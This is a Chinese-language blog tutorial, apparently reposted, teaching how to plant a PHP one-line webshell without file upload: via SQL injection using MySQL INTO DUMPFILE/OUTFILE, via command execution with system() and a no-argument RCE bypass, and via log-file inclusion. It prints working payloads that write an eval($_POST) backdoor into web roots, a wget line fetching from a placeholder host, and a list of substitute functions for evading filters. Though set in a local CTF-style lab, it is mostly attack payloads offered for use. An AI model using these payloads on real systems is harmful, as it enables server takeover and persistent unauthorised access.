admin 管理员组文章数量: 1086055
除了文件上传还有哪些方式可以写一句话木马?
除了文件上传还有哪些方式可以写一句话木马?
一句话木马如果上传到服务器的话,有啥危害学过网络安全的人都知道。但是通常网上流传的方式都是通过文件上传来实现木马上传,实在太过老套,这里就教大家几个新的方式来本地生成一句话木马。(这篇笔记知识带大家入个门,想了解的话还得自己查询资料来学习)
这篇笔记也是有很多跳转内容,看不懂可以尝试看看跳转的博客,他们写的一定是比我更好
结合sql注入生成一句话木马
讲这之前得先介绍mysql配置文件中的secure_file_priv选项
secure_file_priv配置
- secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
- secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
- secure_file_priv没有设置时,则表示没有任何限制
配置文件的位置:
在windos下mysql.ini的[mysqld]下添加在linux下/etc/myf的[mysqld]下添加
也就是说,这个配置一旦打开,我们就能够通过sql语句来实现生成文件功能了
接下来就是重点介绍生成文件的两个mysql语法了
into dumpfile
这个语法的作用就是用于自定义写shell文件
例如:
select "<?php eval($_POST[shell]);?>" into dumpfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\shell.php'
into dumpfile后面只能跟绝对路径。
这里我准备了一个实例给大家
这就是一个简单的整型注入。主要是用于演示,所以就没有进行任何过滤。
在他后端的代码则是
select Name from name where Id = $_GET['id'];
那么我们开始注入了,直接制造以下payload
1 union select "<?php eval($_POST[shell]);?>" into dumpfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\shell.php'
我想把一句话木马就上传在one目录下,所以我的绝对路径如下,在写绝对路径时,’\‘被默认为转义字符,得再来一个\符号给他转义回路径的意思,所以我们路径中是’\\’
等我按下提交后,可以看到原本的目录下面多了一个shell.php,这时候就可以连接蚁剑了
这个语法比较难的操控的地方就是不知道后面的绝对路径跟啥,由于我这是在本地测试,所以知道网页的目录在哪儿。但是假如说是linux系统的话,我们可以尝试var/www/html这个默认路径
into outfile
该函数同样也是写入文件,因为一些细微的差别,这个函数常用的方法是把数据库中的某个表的内容写入到文件,然后再读取这个文件
所以我们正常操作流程是先创建一个表,然后利用Insert into 把一句话木马插入进去,然后再导出
语法:
select * from test into outfile '/tmp/test.txt'
用法和into dumpfile相似但是又细微的差别
这里我同样是给大家演示一下,简单给大家看一下读取文件的流程(就不演示向表内写入一句话木马再读取了)
payload:
1 union select Id from name where 1=1 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\html\\one\\test.txt'
这里可以看到one目录下多了一个test.txt,并且里面的内容就是我们的id,至于这个张三,是我们输入的$_GET[‘Id’] =1 的回显
想去掉这个张三只需要 id =-1 再union
接着就可以在我们的url后面访问test.txt文件了,这里面中文字符张三无法显示
这里还得说一点,在注入的时候,我只是select Id from name into outfile ‘xxxx’,并没有select * 是由原因的
原因就在于我后端是slect Name 只选择一个字段,后面再union 时也只能选择一个字段,要是select *的话,内含Name 和 Id两个字段就会报错
然后关于这俩语法我就讲到这儿,还有其他读取文件的语法,以及这俩语法有细微的差别。下面是我学习的别人的笔记,写的真的很好,大家看不懂我的可以尝试去它的博客看看
Mysql注入 利用系统读、写文件
RCE利用system函数实现本地生成一句话木马
当大家看到这个标题的时候就应该懂了怎样实现生成一句话木马了,原理也很简单。先给大家展示以下Payloda
\\windos
system('echo "<?php @eval(/$_POST[shell]);?>">>shell.php');\\linux
system('wget httpp://xxx/xxx -P /var/www/html')echo '<?php eval($_POST[shell]);?>' > /home/web/www/PREFIX/htdocs/shell.php
这个的话就是考察大家对系统命令的了解程度了
利用system,我们就可以实现不需要对方的本地目录也能生成一句话木马的效果
就如上面windos的Paylod,生成的一句话木马就是再当前网页的目录,直接读取,蚁剑连接就行。
也可以指定目录,像linux那样,加一个-P就能指定目录了。不想指定把-P去掉就行
然后也是给大家搭了一个简单的靶场看看
报错大家不用理会,是因为code里面没有传参所以报错。
这里就是一个简单的无参数RCE,至于无参数RCE怎么做我就不说了,大家自己了解吧。这里我重点讲一下如何生成一句话木马
首先Payload:
?code=eval(end(current(get_defined_vars())));&b=system('echo "<?php @eval($_POST[shell]);?>">>shell.php');
先说说啥意思,下面这段的意思就是可以把b里面的传参读取,并echo。那我们就可以使用system了,具体含义大家学习一下无参数RCE绕过就能理解
?code=eval(end(current(get_defined_vars())));&b=
那么b中放的变量就是我们的system(‘echo “<?php @eval($_POST[shell]);?>”>>shell.php’);
这样他就会在当前目录下生成一个shell.php
不仅是无参数RCE,RCE里面用于绕过的那一套在这上面同样实用,比如system这个函数经常被过滤,那么在做RCE时我们不常有好几个system的替代函数
system替代函数
exec()
shell_exec()
pcntl_exec()
popen()
proc_popen()
passthru()
原理也是很简单就是利用system嘛,再结合RCE的知识灵活运用
日志包含写一句话木马
这个可以说特别常见了,刚开始入门学web安全时,做CTF题基本都会遇到
原理就是一个本地文件包含漏洞
注意:需要开启服务器记录日志功能
访问日志的位置和文件名在不同的系统上会有所差异apache一般是/var/log/apache/access.log。:nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
当我们看到include函数的时候,可以下意识的去尝试本地包含以下日志文件,看看能不能行得通。加入能包含日志文件,就可以观察日志信息,然后进行相关的注入
具体操作方法可以看我之前写的一篇日志包含漏洞写一句话木马
总结
总而言之,这些五七八门的方法特别多,重点是学会了可以灵活运用,会运用了,mysql 和RCE也能写一句话木马,包括其他漏洞也时,也能结合起来,这样才是真正的做到理解
参考链接:
Mysql注入 利用系统读、写文件
无参数RCE绕过
本地文件包含漏洞
本文标签: 除了文件上传还有哪些方式可以写一句话木马
版权声明:本文标题:除了文件上传还有哪些方式可以写一句话木马? 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.roclinux.cn/b/1693757829a241077.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论